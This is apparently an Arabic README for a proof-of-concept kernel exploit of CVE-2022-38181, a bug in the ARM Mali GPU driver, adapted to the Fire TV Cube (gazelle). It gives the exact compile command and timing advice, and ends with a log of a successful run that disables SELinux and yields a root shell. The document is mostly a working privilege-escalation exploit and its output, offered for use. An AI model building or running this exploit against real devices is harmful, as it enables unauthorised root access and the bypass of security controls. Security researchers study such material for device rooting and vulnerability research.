
CVE-2022-38181 POC لـ FireTV الجيل الثالث Cube (gazelle)
هذا تفرع من الاستغلال الخاص بباحث الأمن Man Yue Mo الخاص بـ Pixel 6 POC للثغرة CVE_2022_38181. اقرأ تحليله التفصيلي للثغرة هنا. تم إجراء تغييرات لمراعاة مساحة المستخدم 32 بت في FireOS. يستغل الاستغلال خطأ في برنامج تشغيل نواة Mali الخاص بـ ARM للحصول على تنفيذ تعليمات برمجية عشوائية على مستوى النواة، والذي يُستخدم بعد ذلك لتعطيل SELinux والحصول على صلاحيات الجذر.
استخدمت الأمر التالي للترجمة باستخدام clang في ndk-21:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
يجب تشغيل الاستغلال بعد 30-90 ثانية من إقلاع Cube لتحقيق أقصى موثوقية.
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #